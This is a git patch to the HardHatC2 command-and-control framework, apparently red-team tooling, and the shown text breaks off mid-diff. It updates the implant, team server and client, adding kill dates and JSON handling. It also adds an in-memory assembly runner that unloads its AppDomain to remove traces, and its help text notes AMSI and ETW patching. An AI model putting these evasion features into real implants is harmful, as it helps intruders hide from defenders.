From 47ec21259c78eeddeee3d98b62e3819b2faa4516 Mon Sep 17 00:00:00 2001 From: Jon Owens <15575425+DragoQCC@users.noreply.github.com> Date: Mon, 10 Apr 2023 07:55:35 -0400 Subject: [PATCH] Added MessageData class which holds the string response so it can be sent as proper JSON, Added a killDate to the engineer creation, removed working hours for now, Fixed JSON parsing, added unLoad AppDomain option to Inline Assembly it will not create an app domain load the assembly and then unload the app domain removing traces of the assembly from the loaded appdomain list, made logging service autp pretty print vs new line, reenabled seatbelt auto table parse , check release 0.1.2 alpha for notes. --- ApiModels/Requests/SpawnEngineerRequest.cs | 7 +- Engineer/Commands/InlineAssembly.cs | 181 +++++++++++++----- Engineer/Engineer.csproj | 1 + Engineer/Extra/Extensions.cs | 32 ++-- Engineer/Functions/Tasking.cs | 111 +++++------ Engineer/Models/CommModule.cs | 24 +-- Engineer/Models/MessageData.cs | 13 ++ Engineer/Program.cs | 6 + .../Models/TaskResultTypes/MessageData.cs | 8 + HardHatC2Client/Pages/Engineers.razor | 40 ++-- HardHatC2Client/Pages/Interact.razor | 42 ++-- .../Utilities/CommandValidation.cs | 2 +- HardHatC2Client/Utilities/Help.cs | 4 +- HardHatC2Client/Utilities/HelperFunctions.cs | 20 ++ HardHatC2Client/Utilities/Serilization.cs | 69 +++++-- TeamServer/Controllers/EngineersController.cs | 2 + .../Engineers/TaskResultTypes/MessageData.cs | 8 + .../Handle_Implants/Handle_Engineer.cs | 8 +- TeamServer/Services/HardHatHub.cs | 7 +- TeamServer/Services/LoggingService.cs | 44 ++++- .../Utilities/Engineer_TaskPostProcess.cs | 13 +- TeamServer/Utilities/Seralization.cs | 42 +++- 22 files changed, 483 insertions(+), 201 deletions(-) create mode 100644 Engineer/Models/MessageData.cs create mode 100644 HardHatC2Client/Models/TaskResultTypes/MessageData.cs create mode 100644 HardHatC2Client/Utilities/HelperFunctions.cs create mode 100644 TeamServer/Models/Engineers/TaskResultTypes/MessageData.cs diff --git a/ApiModels/Requests/SpawnEngineerRequest.cs b/ApiModels/Requests/SpawnEngineerRequest.cs index bc375f6e..414d28bd 100644 --- a/ApiModels/Requests/SpawnEngineerRequest.cs +++ b/ApiModels/Requests/SpawnEngineerRequest.cs @@ -8,11 +8,16 @@ namespace ApiModels.Requests { public class SpawnEngineerRequest { + public DateTime? selectedKillDate { get; set; } + public TimeSpan? selectedKillTime { get; set; } + public string managerName { get; set; } public int ConnectionAttempts { get; set; } public int Sleep { get; set; } public string? WorkingHours { get; set; } - + + public DateTime KillDateTime { get; set; } + public bool EncodeShellcode { get; set; } public EngCompileType complieType { get; set; } diff --git a/Engineer/Commands/InlineAssembly.cs b/Engineer/Commands/InlineAssembly.cs index b7f4b6af..690953c9 100644 --- a/Engineer/Commands/InlineAssembly.cs +++ b/Engineer/Commands/InlineAssembly.cs @@ -36,76 +36,157 @@ public override async Task Execute(EngineerTask task) assemblyArgument = assemblyArgument.TrimStart(' '); assemblyArgument = assemblyArgument.TrimStart('\"'); assemblyArgument = assemblyArgument.TrimEnd('\"'); - - + string appDomainName = null; + string execMethod = ""; + bool execGiven = task.Arguments.TryGetValue("/execmethod", out execMethod); + if (execGiven) + { + bool appNameGiven = task.Arguments.TryGetValue("/appdomain", out string appname); + if (appNameGiven) + { + appDomainName = appname; + } + else + { + appDomainName = "mscorlib"; + } + } + else + { + appDomainName = "mscorlib"; + } + string output = ""; //set the console out and error to try and capture output from thread execution - var stdOut = Console.Out; - var stdErr = Console.Error; - var ms = new MemoryStream(); - - - // use Console.SetOut() to redirect the output to a string - StreamWriter writer = new StreamWriter(ms) { AutoFlush = true }; - - //get the current Processes Console and set the SetOut and SetError to the stream writer - Console.SetOut(writer); - Console.SetError(writer); + var currentout = Console.Out; + var currenterror = Console.Error; try { - // debase64 encode assembly string into a byte array byte[] assemblyBytes = task.File; - //make a new thread to run the assembly in and as it gets output from the assembly it will be written to the stream writer - Thread thread = new Thread(() => - { - //will block so needs its own thread - Assembly assembly = Assembly.Load(assemblyBytes); - assembly.EntryPoint.Invoke(null, new[] { $"{assemblyArgument}".Split() }); - }); - //start the thread - thread.Start(); - string output = ""; - //while the thread is running call Tasking.FillTaskResults to update the task results - while (thread.IsAlive) + if (execMethod != null && execMethod.Equals("UnloadDomain",StringComparison.CurrentCultureIgnoreCase)) { - //Console.WriteLine("thread is alive"); - //Console.WriteLine("filling task results"); - output = Encoding.UTF8.GetString(ms.ToArray()); - if (output.Length > 0) + var appDomainSetup = new AppDomainSetup { - //clear the memory stream - ms.Clear(); - Tasking.FillTaskResults(output, task, EngTaskStatus.Running, TaskResponseType.String); - output = ""; - } - if (task.cancelToken.IsCancellationRequested) + ApplicationBase = AppDomain.CurrentDomain.BaseDirectory + }; + output += $"[+] creating app domain {appDomainName}\n"; + var domain = AppDomain.CreateDomain(appDomainName, null, appDomainSetup); + var executor = (AssemblyExecutor)domain.CreateInstanceAndUnwrap(Assembly.GetExecutingAssembly().FullName, typeof(AssemblyExecutor).FullName); + output += executor.Execute(assemblyBytes, assemblyArgument.Split(), task, appDomainName); + output += "\n[*] trying to unload appdomain"; + AppDomain.Unload(domain); + output += "\n[+] app domain unloaded"; + } + else + { + using var ms = new MemoryStream(); + using var sw = new StreamWriter(ms) + { + AutoFlush = true + }; + + Console.SetOut(sw); + Console.SetError(sw); + //make a new thread to run the assembly in and as it gets output from the assembly it will be written to the stream writer + Thread thread = new Thread(() => + { + //will block so needs its own thread + Assembly assembly = Assembly.Load(assemblyBytes); + assembly.EntryPoint.Invoke(null, new[] { $"{assemblyArgument}".Split() }); + }); + + //start the thread + thread.Start(); + //while the thread is running call Tasking.FillTaskResults to update the task results + while (thread.IsAlive) { - Tasking.FillTaskResults("[-]Task Cancelled", task, EngTaskStatus.Cancelled, TaskResponseType.String); - thread.Abort(); - break; + output = Encoding.UTF8.GetString(ms.ToArray()); + if (output.Length > 0) + { + ms.Clear(); + Tasking.FillTaskResults(output, task, EngTaskStatus.Running, TaskResponseType.String); + output = ""; + } + if (task.cancelToken.IsCancellationRequested) + { + Tasking.FillTaskResults("[-]Task Cancelled", task, EngTaskStatus.Cancelled, TaskResponseType.String); + thread.Abort(); + break; + } + Thread.Sleep(10); } - Thread.Sleep(10); + //finish reading and set status to complete + output = Encoding.UTF8.GetString(ms.ToArray()); + ms.Clear(); + } - //finish reading and set status to complete - output = Encoding.UTF8.GetString(ms.ToArray()); - ms.Clear(); + Console.SetOut(currentout); + Console.SetError(currenterror); Tasking.FillTaskResults(output, task, EngTaskStatus.Complete, TaskResponseType.String); - } catch (Exception e) { - Tasking.FillTaskResults("error: " + e.Message, task, EngTaskStatus.Failed, TaskResponseType.String); + //Console.WriteLine(e.Message); + //Console.WriteLine(e.StackTrace); + Console.SetOut(currentout); + Console.SetError(currenterror); + Tasking.FillTaskResults($"{output} \n error: " + e.Message, task, EngTaskStatus.Failed, TaskResponseType.String); } - finally + } + } + + internal class AssemblyExecutor : MarshalByRefObject + { + public string Execute(byte[] asm, string[] arguments,EngineerTask task,string appdomainName) + { + + + using var ms = new MemoryStream(); + using var sw = new StreamWriter(ms) + { + AutoFlush = true + }; + + Console.SetOut(sw); + Console.SetError(sw); + + Thread thread = new Thread(() => + { + //will block so needs its own thread + Assembly assembly = Assembly.Load(asm); + assembly.EntryPoint.Invoke(null, new[] { arguments }); + }); + + //start the thread + thread.Start(); + string output = ""; + //while the thread is running call Tasking.FillTaskResults to update the task results + while (thread.IsAlive) { - //reset the console out and error - Console.SetOut(stdOut); - Console.SetError(stdErr); + Console.Out.Flush(); + Console.Error.Flush(); + output = Encoding.UTF8.GetString(ms.ToArray()); + if (output.Length > 0) + { + Tasking.FillTaskResults(output, task, EngTaskStatus.Running, TaskResponseType.String); + output = ""; + } + if (task.cancelToken.IsCancellationRequested) + { + Tasking.FillTaskResults("[-]Task Cancelled", task, EngTaskStatus.Cancelled, TaskResponseType.String); + thread.Abort(); + break; + } + Thread.Sleep(10); } - return; + //finish reading and set status to complete + Console.Out.Flush(); + Console.Error.Flush(); + output = Encoding.UTF8.GetString(ms.ToArray()); + return output; } } } diff --git a/Engineer/Engineer.csproj b/Engineer/Engineer.csproj index bbfd52a2..f4188842 100644 --- a/Engineer/Engineer.csproj +++ b/Engineer/Engineer.csproj @@ -183,6 +183,7 @@ + diff --git a/Engineer/Extra/Extensions.cs b/Engineer/Extra/Extensions.cs index 66c71387..029eea17 100644 --- a/Engineer/Extra/Extensions.cs +++ b/Engineer/Extra/Extensions.cs @@ -14,21 +14,6 @@ namespace Engineer { public static class Extensions { - public static IEnumerable GetseralTypes() - { - return new List() - { - typeof(EngineerCommand), - typeof(EngineerTask), - typeof(List), - typeof(EngineerTaskResult), - typeof(List), - typeof(EngineerMetadata), - typeof(List), - typeof(C2TaskMessage), - typeof(List), - }; - } public static byte[] JsonSerialize(this T data) { @@ -36,7 +21,22 @@ public static byte[] JsonSerialize(this T data) { JSONParameters jsonParameters = new JSONParameters(); jsonParameters.UseValuesOfEnums = true; - string json = JSON.ToJSON(data,jsonParameters); + jsonParameters.UseExtensions = false; + + object dataToSerialize; + + if (typeof(T) == typeof(string)) + { + dataToSerialize = new MessageData{ Message = (string)(object)data}; + } + else + { + dataToSerialize = data; + } + + string json = JSON.ToNiceJSON(dataToSerialize, jsonParameters); + //Console.WriteLine(json); + //write the json string to a memory stream and return the byte array using (MemoryStream ms = new MemoryStream()) { diff --git a/Engineer/Functions/Tasking.cs b/Engineer/Functions/Tasking.cs index fb42afa4..9b3be8f9 100644 --- a/Engineer/Functions/Tasking.cs +++ b/Engineer/Functions/Tasking.cs @@ -125,74 +125,75 @@ public static void FillTaskResults(object output, EngineerTask task,EngTaskStatu } engTaskResultDic[task.Id].Status = taskStatus; engTaskResultDic[task.Id].ResponseType = taskResponseType; - } - //if command is download then call the Functions.DownloadTracker.SplitFileString function, get the filename from the task.Arguments, and pass the result to the function - if (task.Command.Equals("download", StringComparison.CurrentCultureIgnoreCase)) - { - if (engTaskResultDic[task.Id].Status == EngTaskStatus.Complete) + + //if command is download then call the Functions.DownloadTracker.SplitFileString function, get the filename from the task.Arguments, and pass the result to the function + if (task.Command.Equals("download", StringComparison.CurrentCultureIgnoreCase)) { - task.Arguments.TryGetValue("/file", out string filename); - Functions.DownloadTracker.SplitFileString(filename, engTaskResultDic[task.Id].Result.JsonDeserialize()); - //send each value from the key that matches the filename variable in _downloadedFileParts to the server - foreach (var value in Functions.DownloadTracker._downloadedFileParts[filename]) + if (engTaskResultDic[task.Id].Status == EngTaskStatus.Complete) + { + task.Arguments.TryGetValue("/file", out string filename); + Functions.DownloadTracker.SplitFileString(filename, engTaskResultDic[task.Id].Result.JsonDeserialize()); + //send each value from the key that matches the filename variable in _downloadedFileParts to the server + foreach (var value in Functions.DownloadTracker._downloadedFileParts[filename]) + { + engTaskResultDic[task.Id].Result = value.JsonSerialize(); + SendTaskResult(engTaskResultDic[task.Id]); + } + } + else { - engTaskResultDic[task.Id].Result = value.JsonSerialize(); SendTaskResult(engTaskResultDic[task.Id]); } } + //if Command name is ConnectSocks, SendSocks, ReceiveSocks send a true for ishidden + else if (task.Command.Equals("socksConnect", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("socksSend", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("socksReceive", StringComparison.CurrentCultureIgnoreCase)) + { + engTaskResultDic[task.Id].IsHidden = true; + SendTaskResult(engTaskResultDic[task.Id]); + } + else if (task.Command.Equals("P2PFirstTimeCheckIn", StringComparison.CurrentCultureIgnoreCase)) + { + engTaskResultDic[task.Id].IsHidden = true; + SendTaskResult(engTaskResultDic[task.Id]); + } + else if (task.Command.Equals("CheckIn", StringComparison.CurrentCultureIgnoreCase)) + { + engTaskResultDic[task.Id].IsHidden = true; + SendTaskResult(engTaskResultDic[task.Id]); + } + else if (task.Command.Equals("rportsend", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("rportRecieve", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("rportforward", StringComparison.CurrentCultureIgnoreCase)) + { + engTaskResultDic[task.Id].IsHidden = true; + SendTaskResult(engTaskResultDic[task.Id]); + } + else if (task.Command.Equals("canceltask", StringComparison.CurrentCultureIgnoreCase)) + { + engTaskResultDic[task.Id].IsHidden = false; + SendTaskResult(engTaskResultDic[task.Id]); + } + else if (task.Command.Equals("UpdateTaskKey", StringComparison.CurrentCultureIgnoreCase)) + { + engTaskResultDic[task.Id].IsHidden = true; + SendTaskResult(engTaskResultDic[task.Id]); + } else { SendTaskResult(engTaskResultDic[task.Id]); } + if (engTaskResultDic[task.Id].Status != EngTaskStatus.Running) + { + //if task is not running then remove it from the dictionary to save memory + Thread.Sleep(100); + engTaskResultDic.TryRemove(task.Id, out _); + engTaskDic.TryRemove(task.Id, out _); + } } - //if Command name is ConnectSocks, SendSocks, ReceiveSocks send a true for ishidden - else if (task.Command.Equals("socksConnect", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("socksSend", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("socksReceive", StringComparison.CurrentCultureIgnoreCase)) - { - engTaskResultDic[task.Id].IsHidden = true; - SendTaskResult(engTaskResultDic[task.Id]); - } - else if (task.Command.Equals("P2PFirstTimeCheckIn", StringComparison.CurrentCultureIgnoreCase)) - { - engTaskResultDic[task.Id].IsHidden = true; - SendTaskResult(engTaskResultDic[task.Id]); - } - else if (task.Command.Equals("CheckIn", StringComparison.CurrentCultureIgnoreCase)) - { - engTaskResultDic[task.Id].IsHidden = true; - SendTaskResult(engTaskResultDic[task.Id]); - } - else if (task.Command.Equals("rportsend", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("rportRecieve", StringComparison.CurrentCultureIgnoreCase) || task.Command.Equals("rportforward", StringComparison.CurrentCultureIgnoreCase)) - { - engTaskResultDic[task.Id].IsHidden = true; - SendTaskResult(engTaskResultDic[task.Id]); - } - else if(task.Command.Equals("canceltask",StringComparison.CurrentCultureIgnoreCase)) - { - engTaskResultDic[task.Id].IsHidden = false; - SendTaskResult(engTaskResultDic[task.Id]); - } - else if (task.Command.Equals("UpdateTaskKey", StringComparison.CurrentCultureIgnoreCase)) - { - engTaskResultDic[task.Id].IsHidden = true; - SendTaskResult(engTaskResultDic[task.Id]); - } - else - { - SendTaskResult(engTaskResultDic[task.Id]); - } - - if(engTaskResultDic[task.Id].Status != EngTaskStatus.Running) - { - //if task is not running then remove it from the dictionary to save memory - engTaskResultDic.TryRemove(task.Id, out _); - engTaskDic.TryRemove(task.Id, out _); - } - - } + + } catch (Exception e) { //Console.WriteLine(e.Message); - // Console.WriteLine(e.StackTrace); + //Console.WriteLine(e.StackTrace); } } diff --git a/Engineer/Models/CommModule.cs b/Engineer/Models/CommModule.cs index f51fbb20..177ca828 100644 --- a/Engineer/Models/CommModule.cs +++ b/Engineer/Models/CommModule.cs @@ -64,18 +64,18 @@ public bool RecvData(out IEnumerable tasks) public void SentData(EngineerTaskResult result) { - //if the result is already in the Outbound queue then append the result to the existing result and update the status - if (Outbound.Any(t => t.Id == result.Id)) - { - var existingResult = Outbound.FirstOrDefault(t => t.Id == result.Id); - existingResult.Result = existingResult.Result.Concat(result.Result).ToArray(); - existingResult.Status = result.Status; - } - else - { - Outbound.Enqueue(result); - } - } + //if the result is already in the Outbound queue then append the result to the existing result and update the status + if (Outbound.Any(t => t.Id == result.Id)) + { + var existingResult = Outbound.FirstOrDefault(t => t.Id == result.Id); + existingResult.Result = existingResult.Result.Concat(result.Result).ToArray(); + existingResult.Status = result.Status; + } + else + { + Outbound.Enqueue(result); + } + } public async Task P2PSent(byte[] tcpData) { diff --git a/Engineer/Models/MessageData.cs b/Engineer/Models/MessageData.cs new file mode 100644 index 00000000..6d85a369 --- /dev/null +++ b/Engineer/Models/MessageData.cs @@ -0,0 +1,13 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Engineer.Models +{ + internal class MessageData + { + public string Message { get; set; } + } +} diff --git a/Engineer/Program.cs b/Engineer/Program.cs index 1fd41f1d..a1b30d1a 100644 --- a/Engineer/Program.cs +++ b/Engineer/Program.cs @@ -41,6 +41,7 @@ public class Program public static SleepEnum.SleepTypes Sleeptype = Enum.TryParse("{{REPLACE_SLEEP_TYPE}}", out SleepEnum.SleepTypes sleeptype) ? sleeptype : SleepEnum.SleepTypes.None; public static DateTime LastP2PCheckIn = DateTime.Now; public static string ImplantType = "{{REPLACE_IMPLANT_TYPE}}"; + public static DateTime killDate = DateTime.TryParse("{{REPLACE_KILL_DATE}}", out killDate) ? killDate : DateTime.MaxValue; public static async Task Main(string[] args) { @@ -116,6 +117,11 @@ public static async Task Main(string[] args) { try { + if(DateTime.UtcNow > killDate) + { + _tokenSource.Cancel(); + break; + } if (ImpersonatedUserChanged) { ImpersonatedUser.Impersonate(); diff --git a/HardHatC2Client/Models/TaskResultTypes/MessageData.cs b/HardHatC2Client/Models/TaskResultTypes/MessageData.cs new file mode 100644 index 00000000..9b9000b2 --- /dev/null +++ b/HardHatC2Client/Models/TaskResultTypes/MessageData.cs @@ -0,0 +1,8 @@ +namespace HardHatC2Client.Models.TaskResultTypes +{ + public class MessageData + { + //just a string but this lets me have it as valid json data of Message:stringValue for deseralization + public string Message { get; set; } + } +} diff --git a/HardHatC2Client/Pages/Engineers.razor b/HardHatC2Client/Pages/Engineers.razor index 4b42e8d9..4d94d9df 100644 --- a/HardHatC2Client/Pages/Engineers.razor +++ b/HardHatC2Client/Pages/Engineers.razor @@ -131,7 +131,7 @@ - +

Create New Engineer


@@ -145,7 +145,11 @@ - +
+ + +
+ @* *@ @@ -309,11 +313,10 @@ private static Stopwatch stopwatch = new Stopwatch(); private static bool IsCurrentLocation { get; set; } public static bool HideOfflineEngineers { get; set; } - public delegate void OnStateChangeDelegate(); + public delegate Task OnStateChangeDelegate(); public static OnStateChangeDelegate OnStateChange; private static DateTime? LastRefresh { get; set; } = null; private string searchString1 = ""; - private bool OpenDialog { get; set; } = false; private Dictionary ColumnVisibility = new Dictionary { @@ -384,7 +387,7 @@ ColumnVisibility[columnName] = !ColumnVisibility[columnName]; } } - + private string GetCellStyle(string columnName) { if (ColumnVisibility.ContainsKey(columnName) && ColumnVisibility[columnName]) @@ -569,14 +572,16 @@ { string resource = "/engineers"; var createObject = new SpawnEngineerRequest - { - managerName = formData.managerName, - ConnectionAttempts = formData.ConnectionAttempts, - Sleep = formData.Sleep, - complieType = formData.complieType, - WorkingHours = formData.WorkingHours, - SleepType = formData.SleepType, - }; + { + managerName = formData.managerName, + ConnectionAttempts = formData.ConnectionAttempts, + Sleep = formData.Sleep, + complieType = formData.complieType, + WorkingHours = formData.WorkingHours, + SleepType = formData.SleepType, + KillDateTime = (DateTime)(formData.selectedKillDate.Value.Date + formData.selectedKillTime), + }; + var request = new RestRequest(resource,Method.Post); request.AddJsonBody(createObject); ShowInfoToast("Sending Request To Create Engineer"); @@ -590,8 +595,8 @@ ShowSuccessToast(requestResponse); } //reset the form data object - // formData = new SpawnEngineerRequest(); - // OnStateChange(); + formData = new SpawnEngineerRequest(); + await OnStateChange(); } public static async Task GetAllEngineers() @@ -781,7 +786,7 @@ } - public void ImplementOnStateChangeEvent() + public async Task ImplementOnStateChangeEvent() { if (LastRefresh == null) { @@ -794,7 +799,8 @@ if (DateTime.Now.Subtract(LastRefresh.Value).TotalMilliseconds > 500) { LastRefresh = DateTime.Now; - InvokeAsync(StateHasChanged); + await Task.Delay(100); + await InvokeAsync(StateHasChanged); } } } diff --git a/HardHatC2Client/Pages/Interact.razor b/HardHatC2Client/Pages/Interact.razor index d8afc703..80e86a1b 100644 --- a/HardHatC2Client/Pages/Interact.razor +++ b/HardHatC2Client/Pages/Interact.razor @@ -184,14 +184,7 @@ else { var output = TaskOutputDic[currenttask].Result as string; - // Unescape the string before splitting - string unescapedOutput = Regex.Unescape(output); - var lines = unescapedOutput.Split(Environment.NewLine, StringSplitOptions.None); - // Using a loop - foreach (var line in lines) - { - @CleanString(line) - } + @output } } else @@ -527,6 +520,10 @@ { return Icons.Filled.Warning; } + else if (TaskStatusDic[currenttask] == EngineerTaskResponse.EngTaskStatus.CompleteWithErrors) + { + return Icons.Filled.CheckCircle; + } else { return Icons.Filled.Info; @@ -558,6 +555,10 @@ { return Color.Warning; } + else if (TaskStatusDic[currenttask] == EngineerTaskResponse.EngTaskStatus.CompleteWithErrors) + { + return Color.Warning; + } else { return Color.Info; @@ -1010,7 +1011,7 @@ taskResult = new EngineerTaskResult { Id = taskid, - Result = requestResponse.Result.Deserialize(), + Result = requestResponse.Result.Deserialize()?.Message.RemoveDoubleEmptyLines() ?? string.Empty, // should help to ensure when only a string comes back it is still formatted like true json. status = (EngineerTaskResult.EngTaskStatus)requestResponse.status, ResponseType = (EngineerTaskResult.TaskResponseType)requestResponse.ResponseType, }; @@ -1042,6 +1043,8 @@ break; } + + if(!EngineerReturnedTaskIds.ContainsKey(engineerId)) { EngineerReturnedTaskIds.Add(engineerId, new List()); @@ -1062,6 +1065,21 @@ { await OnStateChange(); } + //if inputDic shows command name is seatbelt call the ParseAndStoreCommandOutput if command status is complete + if (TaskInputDic.ContainsKey(taskid)) + { + bool containsSeatbelt = TaskInputDic[taskid].Arguments.Values.Any(value => value.Contains("seatbelt")); + if (containsSeatbelt) + { + if (TaskStatusDic[taskid] == EngineerTaskResponse.EngTaskStatus.Complete) + { + //call the ParseAndStoreCommandOutput method + //split on all the newline chars + string[] parseReult = taskResult.Result.ToString().Split(new[] { Environment.NewLine }, StringSplitOptions.None); + await ParseAndStoreCommandOutput(parseReult, "seatbelt", taskid, engineerId); + } + } + } return taskResult; } return null; @@ -1116,15 +1134,15 @@ //List commandKeys = new(); //take each key and value from the commandOutput and join them into a string seperatted by || then add that string to the ParsedCommandOutput list //get the engineer object with the matching id and return its hostname - var engineer = InteractEngineers.Where(s => s.Id == engineerID).FirstOrDefault(); + var engineer = Engineers.EngineerList.Where(s => s.Id == engineerID).FirstOrDefault(); string hostname = engineer.Hostname; string username = engineer.Username; foreach(KeyValuePair kvp in commandOutput) { ParsedCommandOutput.Add($"{kvp.Key}||{kvp.Value}"); //commandKeys.Add(kvp.Key); - string entityName = ReconCenter.DetermineEntity(new Dictionary{ { "Hostname", hostname },{ "Username", username } }, CommandName, kvp.Key); - await ReconCenter.AddAutoParsedCommandEntry(entityName, kvp.Key,kvp.Value,CommandName,hostname); + //string entityName = ReconCenter.DetermineEntity(new Dictionary{ { "Hostname", hostname },{ "Username", username } }, CommandName, kvp.Key); + //await ReconCenter.AddAutoParsedCommandEntry(entityName, kvp.Key,kvp.Value,CommandName,hostname); } ParsedCommandOutputDic.Add(taskid, ParsedCommandOutput); } diff --git a/HardHatC2Client/Utilities/CommandValidation.cs b/HardHatC2Client/Utilities/CommandValidation.cs index 348cc8da..ab59e413 100644 --- a/HardHatC2Client/Utilities/CommandValidation.cs +++ b/HardHatC2Client/Utilities/CommandValidation.cs @@ -167,7 +167,7 @@ public static bool ValidateCommand(string input, out Dictionary a new CommandItem() { Name = "inlineAssembly", - Keys = {{"/file",true},{"/args",false},} + Keys = {{"/file",true},{"/args",false}, {"/execmethod",false }, {"/appdomain",false },} }, new CommandItem() { diff --git a/HardHatC2Client/Utilities/Help.cs b/HardHatC2Client/Utilities/Help.cs index a25c970d..f0660fba 100644 --- a/HardHatC2Client/Utilities/Help.cs +++ b/HardHatC2Client/Utilities/Help.cs @@ -241,12 +241,12 @@ public enum OpsecStatus { Name = "inlineAssembly", Description = "runs the target assembly in memory with the supplied arguments", - Usage = "inlineAssembly /file value /args value", + Usage = "inlineAssembly /file value /args value /execmethod OptionalValue /appdomain OptionalValue", NeedsAdmin = false, Opsec = OpsecStatus.NotSet, MitreTechnique = "", Details = "reads the assembly off disk from the teamserver and sends it to the engineer and runs it with the supplied arguments in memory, uses an amsi_patch and etw_patch before running the assembly", - Keys = "/file - the location of the assembly to run, /args - the arguments to pass to the assembly" + Keys = "/file - the location of the assembly to run \n /args - the arguments to pass to the assembly \n /execmethod - valid options are UnloadDomain or classic \n (UnloadDomain creates a new app domain then unloads it, can cause issues, classic just loads the assembly in the current appdomain but that means it can be seen later) \n /appdomain the name of the appdomain default is mscorlib" }, new HelpMenuItem() { diff --git a/HardHatC2Client/Utilities/HelperFunctions.cs b/HardHatC2Client/Utilities/HelperFunctions.cs new file mode 100644 index 00000000..e21637ed --- /dev/null +++ b/HardHatC2Client/Utilities/HelperFunctions.cs @@ -0,0 +1,20 @@ +using System.Text.RegularExpressions; + +namespace HardHatC2Client.Utilities +{ + public static class HelperFunctions + { + + /// + /// Cleans empty lines from the top and bottom of data and reduces consecutive empty lines down to one line. + /// + /// + /// The update string with fixed whitespace + public static string RemoveDoubleEmptyLines(this string input) + { + string pattern = @"(?<=\S)\n{2,}(?=\S)"; + string replacement = "\n"; + return Regex.Replace(input, pattern, replacement); + } + } +} diff --git a/HardHatC2Client/Utilities/Serilization.cs b/HardHatC2Client/Utilities/Serilization.cs index c0064bf8..b784d82d 100644 --- a/HardHatC2Client/Utilities/Serilization.cs +++ b/HardHatC2Client/Utilities/Serilization.cs @@ -35,37 +35,72 @@ public static byte[] Serialise(this T data) public static T Deserialize(this byte[] data) { string json = null; + StringBuilder concatenatedMessages = new StringBuilder(); try { json = Encoding.UTF8.GetString(data); if (data.Length > 0) { - if (IsValidJson(json)) + if (typeof(T) == typeof(MessageData)) { - JsonSerializerOptions jsonSerializerOptions = new JsonSerializerOptions(); - jsonSerializerOptions.AllowTrailingCommas = true; - return JsonSerializer.Deserialize(json, jsonSerializerOptions); - } - else if (typeof(T) == typeof(string)) - { - json.Trim('"'); - return (T)(object)json; + if (IsValidJson(json)) + { + JsonSerializerOptions jsonSerializerOptions = new JsonSerializerOptions(); + jsonSerializerOptions.AllowTrailingCommas = true; + var deserializedObject = JsonSerializer.Deserialize(json, jsonSerializerOptions); + return deserializedObject; + } + else + { + // Split the input string by '}' + string[] jsonParts = json.Split(new[] { '}' }, StringSplitOptions.RemoveEmptyEntries); + + foreach (var part in jsonParts) + { + string cleanedJson = part.Trim() + "}"; + if (IsValidJson(cleanedJson)) + { + JsonSerializerOptions jsonSerializerOptions = new JsonSerializerOptions(); + jsonSerializerOptions.AllowTrailingCommas = true; + var deserializedObject = JsonSerializer.Deserialize(cleanedJson, jsonSerializerOptions); + if (deserializedObject is MessageData messageData) + { + concatenatedMessages.Append(messageData.Message); + } + } + else if (typeof(T) == typeof(string)) + { + concatenatedMessages.Append(cleanedJson); + } + else + { + Console.WriteLine("Input data is not a valid JSON & is not a normal string, returning default value"); + return default(T); + } + } + return (T)(object)new MessageData() { Message = concatenatedMessages.ToString() }; + } } else { - Console.WriteLine("Input data is not a valid JSON & is not a normal string, returning default value"); - return default(T); + if (IsValidJson(json)) + { + JsonSerializerOptions jsonSerializerOptions = new JsonSerializerOptions(); + jsonSerializerOptions.AllowTrailingCommas = true; + var deserializedObject = JsonSerializer.Deserialize(json, jsonSerializerOptions); + return deserializedObject; + } + else + { + return default(T); + } } } - else - { - return default(T); - } - + return default(T); } catch (Exception ex) { - Console.WriteLine(json); + //Console.WriteLine(json); Console.WriteLine(ex.Message); Console.WriteLine(ex.StackTrace); return default(T); diff --git a/TeamServer/Controllers/EngineersController.cs b/TeamServer/Controllers/EngineersController.cs index d8ba4075..93807c0d 100644 --- a/TeamServer/Controllers/EngineersController.cs +++ b/TeamServer/Controllers/EngineersController.cs @@ -249,6 +249,8 @@ public IActionResult CreateEngineer([FromBody] SpawnEngineerRequest request) file = file.Replace("{{REPLACE_UNIQUE_TASK_KEY}}", Encryption.UniversalTaskEncryptionKey); + file = file.Replace("{{REPLACE_KILL_DATE}}", request.KillDateTime.ToString()); + if(request.implantType == SpawnEngineerRequest.ImplantType.Engineer) { Console.WriteLine("Implant is an engineer"); diff --git a/TeamServer/Models/Engineers/TaskResultTypes/MessageData.cs b/TeamServer/Models/Engineers/TaskResultTypes/MessageData.cs new file mode 100644 index 00000000..576222ca --- /dev/null +++ b/TeamServer/Models/Engineers/TaskResultTypes/MessageData.cs @@ -0,0 +1,8 @@ +namespace TeamServer.Models.Engineers.TaskResultTypes +{ + public class MessageData + { + //just a string but this lets me have it as valid json data of Message:stringValue for deseralization + public string Message { get; set; } + } +} diff --git a/TeamServer/Services/Handle_Implants/Handle_Engineer.cs b/TeamServer/Services/Handle_Implants/Handle_Engineer.cs index 6ef32b3d..3d9a1d44 100644 --- a/TeamServer/Services/Handle_Implants/Handle_Engineer.cs +++ b/TeamServer/Services/Handle_Implants/Handle_Engineer.cs @@ -10,6 +10,7 @@ using TeamServer.Controllers; using TeamServer.Models; using TeamServer.Models.Dbstorage; +using TeamServer.Models.Engineers.TaskResultTypes; using TeamServer.Models.Extras; using TeamServer.Utilities; using EngTaskStatus = TeamServer.Models.EngTaskStatus; @@ -175,8 +176,9 @@ public async Task HandleEngineerAsync(EngineerMetadata engineerme // we build a list of engineer ids because some tasks can be from P2P implants and should go to tright place later List engIds = new List(); foreach (var result in results) - { - if (!engIds.Contains(result.EngineerId)) + { + + if (!engIds.Contains(result.EngineerId)) { engIds.Add(result.EngineerId); } @@ -294,7 +296,7 @@ public async Task HandleEngineerAsync(EngineerMetadata engineerme { DatabaseService.AsyncConnection.InsertAsync((EngineerTaskResult_DAO)result); HardHatHub.AlertEventHistory(new HistoryEvent() { Event = $"Got response for task {result.Id}", Status = "Success" }); - string ResultValue = result.Result.Deserialize(); + string ResultValue = result.Result.Deserialize()?.Message ?? string.Empty; LoggingService.TaskLogger.ForContext("Task", result, true).ForContext("Task Result",ResultValue).Information($"Got response for task {result.Id}"); } } diff --git a/TeamServer/Services/HardHatHub.cs 